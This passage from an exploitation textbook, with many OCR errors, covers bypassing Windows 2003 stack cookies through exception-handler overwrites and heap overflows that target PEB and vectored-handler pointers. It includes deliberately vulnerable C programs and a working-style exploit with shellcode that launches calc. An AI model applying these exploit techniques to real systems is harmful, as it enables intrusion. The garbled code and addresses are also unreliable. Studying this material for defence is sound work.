have a pop, pop, ret instruction block close to this address on my Windows 
2003 Server Stan-dard Edition running on a different computer—it's not in the 
same location. Because we can't guarantee the location of this pop, pop, ret 
instruction block, using it is not an advisable option. Rather than just looking 
for a pop, pop, ret instruction block we could look for: 

call  dword ptr[esp+8] 

or, alternatively: 
jmp dword ptr[esp+8] 

in the address space of the vulnerable process. As it happens, no such 
instruc-tion at a suitable address exists, but one of the things about exception 
handling 
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is that we can find many pointers to our EXCEPTION_REGISTRATION 

struc-ture scattered all around ESP and EBP. Here are the locations in which 
we can find a pointer to our structure: 

 

esp+8 

esp+14  

esp+lC  

esp+2C 

esp+44 

esp+50 

 

ebp+0C  

ebp+24  

ebp+30 

ebp-4 

ebp-C 

ebp-18 

 

We can use any of these with a call or jmp. If we examine the address space 
of svchost we find 

call dword pcr[ebp+0x30] 

at address 0x00lB0B0B. At EBP + 30 we find a pointer to our 
EXCEP-TION_REGISTRATION structure. This address is not associated, with 
any module, and what's more, it seems that nearly every process running on 
Win-dows 2003 Server (as well as many processes on Windows XP) have the 
same bytes at this address; those tnat do not have this "instruction" at 0x0 
01C0B0B. By overwriting the pointer to the exception handler with0x00lB0B0B 
we can get back into our buffer and execute arbitrary code. Checking 0x0 
01BOB0B on four different Windows 2003 Servers, we find that they all have 
the "right bytes" that form the call dword ptr[ebp+0x30] instruction at this 
address. Therefore, using this as a technique for exploiting vulnerabilities on 
Windows 2003 Server seems like a fairly safe option. 

Find a block of code in the address space of a module that does not 
have a Load Configuration Directory 

The executable image itself (svchost.exe) does not have a Load 
Configuration Directory .svchost.exe would work if It weren’t for a NULL 
pointer excetpion within the code of KiUserExceptionDispatcher(). The 
RtlImageNtHeader() function retruns a pointer to the PE header of a given 
image but returns 0 for svchost. However, in KiUserException 
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Dispatcher () the pointer is referenced without any checks to determine 
whether the pointer is NULL. 

call         RtlImageNtHeader 

test         byte ptr   [eax+5Fh],   4 

jnz  0x77F68A27 

As such, we access violate and it's all over; therefore, we can't use any code 
within Svchost. exe. comres.dll has no Load Configuration Directory, but 
because the DLL Characteristics of the PE header is 0x0400, we fail the 

test after the call to RtlImageNtHeader and are jumped to 0x77F68A27  

away from the code that will execute our handler. In fact, if you go through 
all the modules in the address space, none will do the trick. Most have a Load 
Configuration Directory with registered handlers and those that don't fail this 
same test. So, in this case, this option is not usable. 

Since we can, most of the time, cause an exception by attempting to write 
past the end of the stack, when we overflow the buffer we can use this as a 
generic method for bypassing the stack protection of Windows 2003 server. 
Although this information is now correct, Windows 2003 Server is a new 
ope-ating system, and what's more, Microsoft is committed to making a more 
secure OS and rendering it as impervious to attacks as possible. There is no 
doubt that the weaknesses we are currently exploiting will be tightened up, if 
not altogether removed as part of a service pack. When this happens (and I'm 
sure it will), you'll need to dust off that debugger and disassembler and devise 
new techniques. Recommendations to Microsoft, for what it's worth, would be 
to only execute handlers that have been registered and ensure that those 
regis-tered handlers cannot be abused by an attacker as we have done here. 

A Final Note about Frame-Based Handler Overwrites 

When a vulnerability spans multiple operating systems—such as the DCOM 
IRemoteActivation buffer overflow discovered by the Polish security research 
group, The Last Stages of Delirium—a good way to improve the portability of 
the exploit is to attack the exception handler. This is because the offset from 
the beginning of the buffer of the location of the 
EXCEPTION_REG-ISTRATION structure may vary. Indeed, with the DCOM 
issue, on Windows 2003 Server this structure could be found 1412 bytes from 
the beginning of the buffer, 1472 bytes from the beginning of the buffer on 
Windows XP, and 1540 bytes from the beginning of the buffer on Windows 
2000. This variation makes possible writing a single exploit that will cater to all 
operating systems. All we do is embed, at the right locations, a pseudo 
handler that will work for the operating system in question. 
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Stack Protection and Windows 2003 Server 

Stack protection is built into Windows 2003 Server and is provided by 
Microsoft's Visual C++ .NET. The /GS compiler flag, which is on by default, 
tells the compiler when generating code to use Security Cookies that are 
placed on the stack to guard the saved return address. For any readers who 
have looked at Crispin Cowan's StackGuard, a Security Cookie is the 
equivalent of a canary. The canary is a 4-byte value (or dword) placed on the 
stack after a procedure call and checked before procedure return to ensure 
that the value of the cookie is still the same. In this manner, the saved return 
address and the saved base pointer (EBP) are guarded. The logic behind this 
is as follows: If a local buffer is being overflowed, then on the way to 
overwriting the saved return address the cookie is also overwritten. A process 
can recognize then whether a stack-based buffer overflow has occurred and 
can take action to pre-vent the execution of arbitrary code. Normally, this 
action consists of shutting down the process. At first this may seem like an 
insurmountable obstacle that will prevent the exploitation of stack-based buffer 
overflows, but as we have already seen in the section on abusing frame-based 
exception handlers, this is not the case. Yes, these protections make 
stack-based overflows difficult, but not impossible. 

Let's take a deeper look into this stack protection mechanism and explore 
other ways in which it can be bypassed. First, we need to know about the 
cookie itself. In what way is the cookie generated and how random is it? The 
anwser to this is fairly random—at least a level of random that makes it too 
expensive to work out, especially when you cannot gain physical access to the 
machine. The following C source mimics the mechanism used to generate the 
cookie on process startup: 

#include <stdio.h>  

#include <windows.h> 

int main()  

{ 
FILETIME ft; 
unsigned int Cookie=0; 
unsigned int tmp=O; 
unsigned int *ptr=0; 
LARGE_INTEGER perfcount; 

GetSystemTimeAsFileTime(&ft); 
Cookie = ft.dwHighDateTime^ft.dwLowDateTime; 
Cookie = Cookie^GetcurrentProcessId(); 
Cookie = Cookie^GetcurrentThreadId(); 
Cookie = Cookie^GetTickCount(); 

QueryperformanceCounter(&perfcount); 
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ptr  =  (unsigned  int)&perfcount; 

 tmp = *(ptr+l)^ *ptr;  

Cookie  =  Cookie ^ tmp; 

 printf ("Cookie:  %.8x\n",Cookie);  

return  0;  

} 

Fist, a call to GetSystemTimeAsFileTime is made. This function popu-lates a 
FILETIME structure with two elements—the dwHighDateTime and the 
dwLowDateTime. These two values are XORed. The result of this is then 
XORed with the process ID, which in turn is XORed with the thread ID and 
then with the number of milliseconds since the system started up. This value 
is returned with a call to GetTickCount. Finally a call is made to Query 
Performancecounter, which takes a pointer to a 64-bit integer. This 64-bit 
integer is split into two 32-bit values, which are then XORed; the result of this 
is XORed with the cookie. The end result is the cookie, which is stored within 
the . data section of the image file. 

The /GS flag also reorders the placement of local variables. The placement 
of local variables used to appear as they were defined in the C source, but 
now any arrays are moved to the bottom of the variable list, placing them 
closest to the saved return address. The reason behind this change is so that 
if an over-flow does occur, then other variables should not be affected. This 
idea has two benefits: It helps to prevent logic screw-ups, and it prevents 
arbitrary memory overwrites if the variable being overflowed is a pointer. 

To illustrate the first benefit, imagine a program that requires authentication 
and that the procedure that actually performs this was vulnerable to an 
over-flow. If the user is authenticated, a dword is set to 1; if authentication fails, 
the dword is set to 0. If this dword variable was located after the buffer and the 
buffer overflowed, then the attacker could set the variable to 1, to look as 
though they've been authenticated even though they've not supplied a valid 
user ID or password. 

When a procedure that has been protected with stack Security Cookies 
returns, the cookie is checked to determine whether its value is the same as it 
was at the beginning of the procedure. An authoritative copy of the cookie is 
stored in the . data section of the image file of the procedure in question. The 
cookie on the stack is moved into the ECX register and compared with the 
copy in the . data section. This is problem number one—we will explain why in 
a minute and under what circumstances. 

If the cookie does not match, the code that implements the checking will call 
a security handler if one has been defined. A pointer to this handler is stored 
in the . data section of the image file of the vulnerable procedure; if this pointer 
is not NULL, it is moved into the EAX register and then EAX is called. This is 
problem number two. If no security handler has been defined then the pointer 
to the UnhandledExceptionFilter is set to 0x00000000 and the 
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UnhandledExceptionFilterfunction is called. The UnhandledExcep-tionFilter 
function doesn't just terminate the process—it performs all sorts of actions and 
calls all manner of functions. 

For a detailed examination of what the UnhandledExceptionFilter function 
does, we recommend a session with IDA Pro. As a quick overview, however, 
this function loads the faultrep.dll library and then executes the ReportFault 
function this library exports. This function also does all kinds of things and is 
responsible for the Tell-Microsoft-about-this-bug popup. Have you ever seen 
the PCHHangRepExecPipe and PCHFaultRepExecPipe named pipes? These 
are used in ReportFault. 

Let's now turn to the problems we mentioned and examine why they are in 
fact problems. The best way to do this is with some sample code. Consider 
the following (highly contrived) C source: 

#include <stdio.h> 

 #include <windows.h> 

HANDLE hp=NULL; 

int ReturnHostFromUrl(char **, char *); 

int main()  

{ 

char *ptr = NULL; 

hp = HeapCreate(0,0x1000,0x10000) ; 

ReturnHostFromUrl(&ptr"http://www.ngssoftware.com/index.html") ; 

printf("Host   is %s"ptr); 

 HeapFree(hp,0,ptr);  

return 0; 

} 

int ReturnHostFromUrl(char **buf, char *url)  

{ 

int count = 0; 

char *p = NULL; 

char buffer[40]="" ; 

// Get a pointer to the start of the host P = 

strstr(url,"http://"); if(!p) 

return 0;  

P = P + 7; 

// do processing on a local copy 

strcpy<buffer,p>;// <  NOTE 1 

// find the first slash 

 while(buffer[count] !='/') 

count++; 
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//   set   it   to  NULL 

buffer[count] = 0; 

//We now have in buffer the host name 

// Make a copy of this on the heap 

p = (char *)HeapAlloc(hp,0,strlen(buffer)+l); 

if(!p) 

return 0;  

strcpy(p,buffer); 

*buf = p; // -----NOTE2 

Return 0; 

}  

This program takes a URL and extracts the host name. The 
ReturnHost-FromUrl function has a stack-based buffer overflow vulnerability 
marked at NOTE 1. Leaving that for a moment, if we look at the function 
prototype we can see it takes two parameters—one a pointer to a pointer 
(char * *) and the other a pointer to the URL to crack. Marked at NOTE 2, we 
set the first parameter (the char * *) to be the pointer to the host name stored 
on the dynamic heap. Let's look at the assembly behind this. 

004011BC mov       ecx,dword ptr [ebp+8]  

004011BF mov       edx,dword ptr [ebp-8]  

004011C2  mov        dword ptr [ecx],edx 

At 0x004011BC the address of the pointer passed as the first parameter is 
moved into ECX. Next, the pointer to the hostname on the heap is moved into 
EDX. This is then moved into the address pointed to by ECX. Here's where 
one of our problems creeps in. If we overflow the stack-based buffer, overwrite 
the cookie, overwrite the saved base pointer then the saved return address, 
we begin to overwrite the parameters that were passed to the function. Figure 
8.3 shows how this looks visually.  

 
Figure 8.3.  Before and after snapshots of the buffer 
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After the buffer has been overflowed, the attacker is in control of the 
para-meters that were passed to the function. Because of this, when the 
instructions at 0x004011BC perform the *buf = p; operation, we have the 
possibility of an arbitrary memory overwrite or the chance to cause an access 
violation. Looking at the latter of these two possibilities, if we overwrite the 
parameter at EBP + 8 with 0x41414141, then the process will try to write a 
pointer to this address. Because 0x41414141 is (not normally) initialized 
memory, then we access violate. This allows us to abuse the Structured 
Exception Handling mechanisms to bypass stack protection discussed earlier. 
But what if we don't want to cause the access violation? Because we're 
currently exploring other mechanisms for bypassing the stack protection, let's 
look at the arbitrary memory overwrite option. 

Returning to the problems mentioned in the description of the cookie 
check-ing process, the first problem occurs when ar. authoritative version of 
the cookie is stored in the . data section of the image file. For a given version 
of the image file, the cookie can be found at a fixed location (this may be true 
even across different versions). If the location of p, which is a pointer to our 
host name on the heap, is predictable; that is, every time we run the program 
the address is the same, then we can overwrite the authoritative version of the 
cookie in the . data section with this address and use this same value when 
we overwrite the cookie stored on the stack. This way, when the cookie is 
checked, they are the same. As we pass the check, we get to control the path 
of execution and return to an address of our choosing as in a normal 
stack-based buffer overflow. 

This is not the best option in this case, however. Why not? Well, we get the 
chance to overwrite something with the address of a buffer whose contents we 
control. We can stuff this buffer with our exploit code and overwrite a function 
pointer with the address of our buffer. In this way, when the function is called, 
it is our code that is executed. However, we fail the cookie check, which brings 
us to problem number two. Recall that if a security handler has been defined, 
it will be called in the event of a cookie check failure, which is perfect for us in 
this case. The function pointer for the security handler is also stored in the . 
data section, so we know where it will be, and we can overwrite this with a 
pointer to our buffer. In this way, when the cookie check fails, our "security 
handler" is executed and we gain control. 

Let's illustrate another method. Recall that if the cookie check fails and no 
security handler has been defined, then the UnhandledExcept ionFilter is 
called after the actual handler is set to 0. So much code is executed in this 
func-tion that we have a great playground in which to do anything we want. 
For example, GetSystemDirectoryVJ is called from within the 
UnhandledEx-ceptionFilter function and then faultrep. dll is loaded from tliis 
direc-tory. In the case of a Unicode overflow, we could overwrite the pointer to 
the 
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system directory, which is stored in the. data section of kernel32 . dll with a 
pointer to our own "system" directory. This way our own version of fault-rep. 
dll is loaded instead of the real one.  We simply export a ReportFault function, 
and it will be called. 

Another interesting possibility (this is theoretical at the moment; we've not 
yet had enough time to prove it) is the idea of a nested secondary overflow. 
Most of the functions that UnhandledExceptionFilter calls are not pro-tected 
with cookies, Now, let's say one of these—the GetSystemDirectorW function 
will do—is vulnerable to a buffer overrun vulnerability: The system directory is 
never more than 260 bytes, and it's coming from a trusted source, so we don't 
need to worry about overruns in here. Let's use a fixed-sized buffer and copy 
data to it until we come across the null terminator. You get my drift. Now, 
under normal circumstances, this overflow could not be triggered, but if we 
overwrite the pointer to the system directory with a pointer to our buffer, then 
we could cause a secondary overflow in code that's not protected with a 
cookie. When we return, we do so to an address of our choosing, and we gain 
control. As it happens, GetSystemDirectory is not vulnerable in this way. 
However, there could be such a hidden vulnerability lurking within the code 
behind UnhandledExceptionFilter somewhere—we just haven't found it yet. 
Feel free to look yourself. 

You could ask if this kind of scenario (that is, the situation in which we have 
an arbitrary memory overwrite before the cookie checking code is called) is 
likely. The answer is yes; it will happen quite often. Indeed the DCOM 
vulnera-bility discovered by The Last Stages of Delirium suffered from this 
kind of prob-lem. The vulnerable function took a type of wchar * * as one of its 
parameters. This happened just before the function returned the pointers that 
were set, allowing arbitrary memory to be overwritten. The only difficulty with 
using some of these techniques with this vulnerability is that to trigger the 
overflow, the input has to be a Unicode UNC path that starts with two 
backslashes. Assuming we overwrite the pointer to the security handler with a 
pointer to our buffer, the first thing that would execute when it is called would 
be: 

pop esp 

add byte ptr[eax+eax+n],bl 

where n is the next byte. Since EAX+EAX+n is never writable, we access 
violate and lose the process. Because we're stuck with the \ \ at the beginning 
of the buffer, the above was not a viable exploit method. Had it not been for 
the dou-ble forwardslash (\\), any of the methods discussed here would have 
sufficed. In the end, we can see that many way exist to bypass the stack 
protection provided by Security Cookies and the .NET GS flag. We've looked 
at how Structured Exception Handling can be abused and also looked at how 
owning 
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parameters pushed onto the stack and passed to the vulnerable function can 

be employed. As time goes on, Microsoft will make changes to their protection 
mechanisms, making it even harder to successfully exploit stack-based buffer 
overflows. Whether the loop ever will be fully closed remains to be seen. 

Heap-Based Buffer Overflows 

Just as with stack-based buffer overflows, heap buffers can be overflowed 
with equally disastrous consequences. Before delving into the details of heap 
over-flows, let us discuss what a heap is. In simple terms, a heap is an area of 
mem-ory that a program can use for storage of dynamic data. Consider, for 
example, a Web server. Before the server is compiled into a binary, it has no 
idea what kind of requests its clients will make. Some requests will be 20 
bytes long, whereas another request may be 20,000 bytes. The server needs 
to deal equally well with both situations. Rather than use a fixed-sized buffer 
on the stack to process requests, the server would use the heap. It requests 
that some space be allocated on the heap, which is used as a buffer to deal 
with the request. Using the heap helps memory management, making for a 
much more scalable piece of software. 

The Process Heap 

Every process running on Win32 has a default heap known as the process 
heap. Calling the C function GetProcessHeap () will return a handle to this 
process heap. A pointer to the process heap is also stored in the Process 
Envi-ronment Block (PEB). The following assembly code will return a pointer 
to the process heap in the EAX register: 

 

mov eax, dword ptr fs:[0x30]  

mov eax, dword ptr[eax+0xl8] 

 

Many of the underlying functions of the Windows API that require a heap to 
do their processing use this default process heap. 

Dynamic Heaps 

Further into the default process heap, under Win32, a process can create as 
many dynamic heaps as it sees fit. These dynamic heaps are available 
globally within a process and are created with the HeapCreate () function. 
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Working with the Heap 

Before a process can store anything on the heap it needs to allocate some 
space. This essentially means that the process wants to borrow a chunk of the 
heap in which to store things. An application will use the HeapAllocate () 
function to do this, passing such information as how much space on the heap 
the application needs. If all goes well, the heap manager allocates a block of 
memory from the heap and passes back to the caller a pointer to the chunk of 
memory it's just made available. Needless to say, the heap manager needs to 
keep a track of what it's already assigned; to do so, it uses a few heap 
management structures. These structures basically contain information about 
the size of the allocated blocks and a pair of pointers that point to another 
pointer that points to the next available block. 

Incidentally, we mentioned that an application will use the HeapAl locate () 
function to request a chunk of the heap. There are other heap functions 
available, and they pretty much exist for backward compatibility. Winl6 had 
two heaps: It had a global heap that every process could access, and each 
process had its own local heap. Win32 still has such functions as LocalAl-loc () 
and GlobalAllocat(). However, Win32 has no such differentiation as did Winl6: 
On Win32 both of these functions allocate space from the process' default 
heap. Essentially these functions forward to HeapAllocate() in a fashion 
similar to: 

 

h  =HeapAllocate(GetProcessHeap() ,0,size); 

Once a process has finished with the storage, it can free itself and be 
avail-able for use again. Freeing allocated memory is as easy as calling 
HeapFree— or the LocalFree or GlobalFree functions, provided you're freeing 
a block from the default process heap. 

For a more detailed look at working with the heap, read the MSDN 
documentation   at   http://msdn.microsoft.com/library/clefault.asp?url= 
/library/en-us/memory/base/memory_management_reference.asp 

How the Heap Works 

An important point to note is that while the stack grows toward address 
0x00000000, the heap does the opposite. This means that two calls toHeapAl 
locate will create the first block at a lower virtual address than thesecond. 
Consequently, any overflow of the first block will overflow into thesecond 
block.Every heap, whether the default process heap or a dynamic heap,starts 
with a structure that contains, among other data, an array of 128 
LIST_ENTRYstructures that keeps track of free blocks—we'll call this array 
Freelists. 
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Each list_entry holds two pointers (as described in Winnt .h), and the 

beginning of this array can be found offset 0x178 bytes into the heap 
struc-ture. When a heap is first created, two pointers, which point to the first 
block of memory available for allocation, are set at FreeLists [ 0 ]. At the 
address that these pointers point to—the beginning of the first available 
block—are two pointers that point to FreeLists [0]. So, assuming we create a 
heap with a base address of 0x00350000, and the first available block has an 
address of 0x00350688, then: 

 
 at address 0x00350178 (FreeList [0],Flink) is a pointer with a 

valueof 0x00350688 (First  Free Block).  

  at address 0x0035017C (FreeList [0] .Blink) is a pointer with a 

valueof 0x00350688 (First   Free Block).  

 at address 0x00350688 (First  Free Block) is a pointer with a 

valueof 0x00350178 (FreeList [0]). 

 at address 0x0035068C (First  Free Block  +   4) is a pointer with 

a value of 0x00350178 (FreeList [0]). 

 

In the event of an allocation (by a call to RtlAllocateHeap asking for 260 
bytes of memory, for example) the FreeList [ 0 ] . Flink and FreeList [0] .Blink 
pointers are updated to point to the next free block that will be allocated. 
Furthermore, the two pointers that point back to the FreeList array are moved 
to the end of the newly allocated block. With every allocation or free these 
pointers are updated, and in this fashion allo-cated blocks are tracked in a 
doubly linked list. When a heap-based buffer is overflowed into the heap 
control data, the updating of these pointers allows the arbitrary dword 
overwrite; an attacker has an opportunity to modify pro-gram-control data such 
as function pointers and thus gain control of the process's path of execution. 
The attacker will overwrite the program control data that is most likely to let 
him or her gain control of the application. For example, if the attacker 
overwrites a function pointer with a pointer to his or her buffer, but before the 
function pointer is accessed, an access violation occurs, and likely the 
attacker will fail to gain control. In such a case, the attacker would have been 
better off overwriting the pointer to the exception handler—thus when the 
access violation occurs, the attacker's code is executed instead. 

Before getting to the details of exploiting heap-based overflows to run 
arbi-trary code, let's delve deeper into what the problem involves. 

The following code is vulnerable to a heap overflow: 
#include <stdio.h>  

#include <windows.h> 

 

DWORD MyExceptionHandler(void);  

int  foo (char *buf); 
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int main(int argc, char *argv[])  

{ 

HMODULE l; 

l  =   LoadLibrary("msvcrt.dll"); 

l  =  LoadLibrary("netapi32.dll"); 

printf("\n\nHeapoverflow program.\n"); 

if(argc != 2) 

return printf("ARGS!”); 

foo(argv[l]); 

return 0;  

} 

DWORD MyExceptionHandler(void) 

{ 

printf("In exception handler..."); 

ExitProcess(l); 

return 0;  

} 

int foo(char *buf)  

{ 

HLOCAL hi = 0, h2 = 0; 

HANDLE hp; 

_try{ 

hp = HeapCreate(0,0x1000,0x10000); 

 if(!hp) 

return printf("Failed to create heap.\n"); 

h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260) ; 

printf("HEAP: %.8X %.8X\n",hl,&hl) ; 

// Heap Overflow occurs here: strcpy{hl,buf) ; 

// This second call to HeapAlloc() is when we gain 

control 

h2 = HeapAlloc(hp,HEAP_ZERO_KEMORY,260); 

printf ("hello") ;  

} 

_except(MyExceptionHandler()) 

{ 

printf ("oops. . . ") ;  

} 

return 0; 

  }  

NOTE For best results, compile with Microsoft's Visual C++ 6.0 
from a command line: cl /TC heap.c. 
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The vulnerability in this code is the strcpy () call in the f oo () function. If the 
buf string is longer than 260 bytes (the size of the destination buffer) then the 
heap control structure is overwritten. This control structure has two point-ers 
that both point to the FreeLists array where we can find a pair of point-ers to 
the next free block. When freeing or allocating, the heap manager switches 
these around, moving one pointer into the second, and then the sec-ond 
pointer into the first. 

By passing an overly long argument (for example, 300 bytes) to this 
pro-gram (which is then passed to function f oo where the overflow occurs), 
the code access violates at the following when the second call to HeapAlloc () 
is made: 

77F6256F 89 01 mov        dword ptr [ecx],eax 

77F62571 89 48 04 mov        dword ptr [eax+4],ecx 

Although we're triggering this with a second call tc HeapAlloc, a call to 
HeapFree or HeapRealloc would elicit the same effect. If we look at the ECX 
and EAX registers, we can see that they both contain data from the string we 
have passed as an argument to the program. We've overwritten pointers in the 
heap-management structure, so when this is updated to reflect the change in 
the heap when the second call to HeapAlloc () is made, we end up com-pletely 
owning both registers. Now look at what the code does. 

mov dword ptr   [ecx],eax 

This means that the value in EAX should be moved into the address pointed 
to by ECX. As such, we can overwrite a full 32 bits anywhere in the virtual 
address space of the process (that's marked as writable) with any 32-bit value 
we want. We can exploit this by overwriting program control data. There is a 
caveat, however. Look at the next line of code. 

mov dword ptr   [eax+4] , ecx 

We have now flipped the instructions. Whatever the value is in the EAX 
reg-ister (used to overwrite the value pointed to by ECX in the first line) must 
also point to writable memory, because whatever is in ECX is now being 
written to the address pointed to by eax+4. If EAX does not point to writable 
memory, then an access violation will occur. This is not actually a bad thing 
and lends itself to one of the more common ways of exploiting heap overflows. 
Attackers will often overwrite the pointer to a handler in an exception 
registration struc-ture on the stack, or the Unhandled Exception Filter, with a 
pointer to a block of code that will get them back to their code if an exception 
is thrown. Lo and behold, if EAX points to non-writable memory, then we get 
an exception, and the arbitrary code executes. Even if EAX is writable, 
because EAX does not equal ECX, the low-level heap functions will more than 
likely go down some 
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error path and throw an exception anyway. So overwriting a pointer to an 

exception handler is probably the easiest way to go when exploiting 
heap-based overflows. 

Exploiting Heap-Based Overflows                                  

One of the curious things about many programmers is that, while they know 
overflowing stack-based buffers can be dangerous, they feel that heap-based 
buffers are safe; and so what if they get overflowed? The program crashes at 
worst. They don't realize that heap-based overflows are as dangerous as their 
stack-based counterparts, and they will quite happily use evil functions like 
strcpy () and strcat () on heap-based buffers. As discussed in the previous 
section, the best way to go when exploiting heap-based overflows to run 
arbitrary code is to work with exception handlers. Overwriting the pointer to 
the exception handler with frame-based exception handling when doing a 
heap overflow is a widely known technique; so too is the use of the Unhandled 
Exception Filter. Rather than discussing these in any depth (they are covered 
at the end of this section), we'll look at two new techniques. 

Overwrite Pointer to RtlEnterCriticalSection in the PEB 

We explained the PEB, describing its structure. There are a few important 
points to remember. We had a couple of function pointers, specifically to 
RtlEnter CriticalSection() and RtlLeaveCriticalSection () . In case you won-
dered, the RtlAccquirePebLock() and RtlReleasePebLock() functions exported 
by NTDLL. DLL reference them. These two functions are called from the 
execution path of ExitProcess (). As such, we can exploit the PEB to run arbi-
trary code—specifically when a process is exiting. Exception handlers often 
call Exi t Process, and if such an exception handler has been set up, then use 
it. With the heap overflow arbitrary dword overwrite, we can modify one of 
these pointers in the PEB. What makes this such an attractive proposition is 
that the location of the PEB is fixed across all versions of Windows NTx 
regardless of service pack or patch level, and therefore the locations of these 
pointers are fixed as well. 

NOTE Windows 2003 Server does not use these pointers; see the 
discussion at the end of this section. 

It's probably best to go for the pointer to RtlEnterCriticalSection (). This 
pointer can always be located at 0x7FFDF020. When exploiting the heap 
overflow, however, we'll be using address 0x7FFDF01C—this is because we 
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77F62571 89 48 04mov        dword ptr[eax+4],ecx 

There's nothing tricky here; we overflow the buffer, do the arbitrary 
over-write, let the access violation occur, and then let the ExitProcess fun 
begin. Keep'a few things in mind, though. First, the primary action your 
arbitrary code should make is to set the pointer back again. The pointer may 
be used elsewhere, and therefore, you'll lose the process. You may also need 
to repair he heap, depending upon what your code does. 

Repairing the heap is, of course, only useful if your code is still around when 
he process is exiting. As mentioned, your code may get dropped, which 
typi-cally happens with exception handlers that call ExitProcess (). You may 
also find the technique of using an access violation to execute your code 
useful when dealing with heap overflows in Web-based CGI executables. 

The following code is a simple demonstration of using an access violation to 
execute hostile code in action It exploits the code presented earlier. 

#include <stdio.h>  

#include <wiudows.h> 

unsigned int GetAddress(char *lib, char *func);  

void fixupaddresses(char *tmp, unsigned int x) ; 

int main()  

{ 
unsigned char buffer[300]=""; 
unsigned char heap[8]=""; 
unsigned char pebf[8]=""; 
unsigned char shellcode[200]="" ; 
unsigned int address_of_system= 0; 
unsigned int address_of_RtlEnterCriticalSection = 0; 
unsigned char tmp[8]=""; 
unsigned int cnt = 0; 

printf("Getting addresses...\n"); 

address_of_system = GetAddress("msvcrt.dll","system"); 

address_of_ RtlEnterCriticalSection= 

GetAddress("ntdll.dll","RtlEnterCriticalSection"); 
if (address_of_syscem == 0|| 

addresse_of_RtlEnterCriticalSection==0) 
return printf("Failed to get addressess\n"); 

printf("Address of msvcrt.system\t\t\t= 

%.8X\n",address_of_system); 

printf("Address of ntdll.RtlEnterCriticalSection\t= 

%.8X\n",address_of_RtlEnterCriticalSection) ; 

Strcpy(buffer,”heap1”) 

// Shellcode - repairs the PEB then calls system("calc"); 
strcat(buffr,"\"\x90\x90\x90\x90\x01\x90\x90\x6A\x30\x59\x64\x8B\x01\xB 
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9" ) ; 

fixupaddresses(tmp,address_of_RtlEnterCriticalSection); 

 strcat(buffer, tmp); 
strcat(buffer,"\x89\x48\x20\x33\xCO\x50\x68\x63\x61\x6C\x63\x54\x5B\x

50\ 

x53\xB9"); 
fixupaddresses(tmp,address_of_system); strcat(buffer,tmp); 

strcat(buffer,"\xFF\xDl"); 

// Padding  

while(cnt < 58) 

 { 

Strcat(buffer,"DDDD"); 

cnt ++; 

} 
 

//pointer to RtlEnterCriticalSection pointer -4 in PEB 

strcat(buffer,"\xlC\xF0\xFD\x7f"); 

 

// Pointer to heap and thus shellcode 
Strcat(buffer,"\x88\x06\x35"); 

// Pointer to heap and thus shellcode 

strcat(buffer, "\"") ; 

printf("\nExecuting heapl exe... calc should open.\n"); 
System(buffer);  

return 0;  

} 

unsigned int GetAddress(char *lib, char *func) 

 { 

HMODULE l=HULL;  
unsigned int x=0;  

l = LoadLibrary(lib);  

If (!l) 
return 0; 

x = GetProcAddress(l.func);  

if(!x) 
return 0; 

 return x 

} 

void fixupaddresses(char *tmp, unsigned int x)  

{ 

unsigned int a = 0; 
a=x; 

a=a<<24; 

a=a>>24; 
 tmp[0]=a; 

a=x; 
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a = a<<24;  

a = a>>24 ;  

tmp[l]=a; 

a =  a>>16; 

a = a<<24; 

 a = a>>24;  

tmp[2]=a; 

a =a>>24; 

 tmp [3 ] =a ;  

} 

As noted, Windows 2003 Server does not use these pointers. In fact, the 
PEB on Windows 2003 Server sets these addresses to NULL. That said, a 
similar attack can still be launched. A call to ExitProcess () 
orUnhandledExcep-tionFilter ()calls many Ldr* functions, such as 
LdrUnloadDll (). A number of the Ldr* functions will call a function pointer if 
non-zero. These function pointers are usually set when the SHIM engine kicks 
in. For a normal process, these pointers are not set. By setting a pointer 
through exploiting the overflow, we can achieve the same effect. 

Overwrite Pointer to First Vectored Handler at 77FC3210 

Vectored exception handling was introduced with Windows XP. Unlike 
tradi-tional frame-based exception handling that stores exception registration 
struc-tures on the stack, vectored exception handling stores information about 
handlers on the heap. This information is stored in a structure very similar in 
nature to the exception registration structure. 

struct _VECTORED_EXCEPTION_NODE  

{ 

dword  m_pNexCNode; 

dword  m pPreviousNode; 

PVOID  m_pfnVectoredHandler; 

} 

m_pNextNode points to the next _VECTORED_EXCEPTION_NODE 
struc-ture, m_pPreviousNode points to the previous 
_VECTORED_EXCEPTION_ NODE structure, and m_pfnVectoredHandler 
points to the address of the code that implements the handler. A pointer to the 
first vectored exception node that will be used in the event of an exception can 
be found at 0x77FC3210 (although this location may change over time as 
service packs modify the system). When exploiting a heap-based overflow, we 
can overwrite this pointer with a pointer to our own pseudo 
_VECTORED_EXCEPTION_ NODE structure. The advantage of this 
technique is that vectored exception handlers will be called before any 
frame-based handlers. 
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The following code (on Windows XP Service Pack 1) is responsible for 

dis-patching the handler in the event of an exception: 
77F7F49E     mov         esi,dword ptr ds:[77FC3210h] 

77F7F4A4     jmp         77F7F4B4  

77F7F4A6     lea         eax,[ebp-8] 

77F7F4A9     push  eax 

77F7F4AA      call      dword per [esi+8] 

77F7F4AD  cmp     eax,OFFh 

77F7F4B0        je  77F7F4CC 

77F7F4B2  mov  esi,dword ptr [esi] 

77F7F4B4  cmp  esi,edi 

77F7F4B6        jne  77F7F4A6 

This code moves into the ESI register a pointer to the _VECTORED_ 
EXCEPTION_NODE structure of the first vectored handler to be called. It then 
calls the function pointed to by ESI + 8. When exploiting a heap overflow, we 
can gain control of the process by setting this pointer at 0x77FC3210 to be our 
own. 

So how do we go about this? First, we need to find the pointer to our 
allo-cated heap block in memory. If the variable that holds this pointer is a 
local variable, it will exist in the current stack frame. Even if it's global, 
chances are it will still be on the stack somewhere, because it is pushed onto 
the stack as an argument to a function—even more likely if that function is 
HeapFree (). (The pointer to the block is pushed on as the third argument). 
Once we've located it (let's say at 0x0012FF50), we can then pretend that this 
is our m_pfnVectoredHandler making 0x0012FF48 the address of our pseudo 
_VECTORED_EXCEPTION_NODE structure. When we overflow the 
heap-management data, we'll thus supply 0x0012FF48 as one pointer and | 
0x77FC320C as the other. This way when 

77F625GF 89 01          mov        dword ptr [ecx],eax 

77F62S71 89 48 04 mov        dword per [eax+4],ecx 

executes, 0x77FC320C (EAX) is moved into 0x0012FF48 (ECX), and 
0x0012FF4S (ECX) is moved into 0x77FC3210 (EAX+4). As a result, the 
pointer to the top level _VECTORED_EXCEPTION_NODE structure found at 
0x77FC3210 is owned by us. This way, when an exception is raised, 
0x0012FF48 moves into the ESI register (instruction at address 0x77F7F49E), 
and moments later, the function pointed toby ESl + 8 is called. This function is 
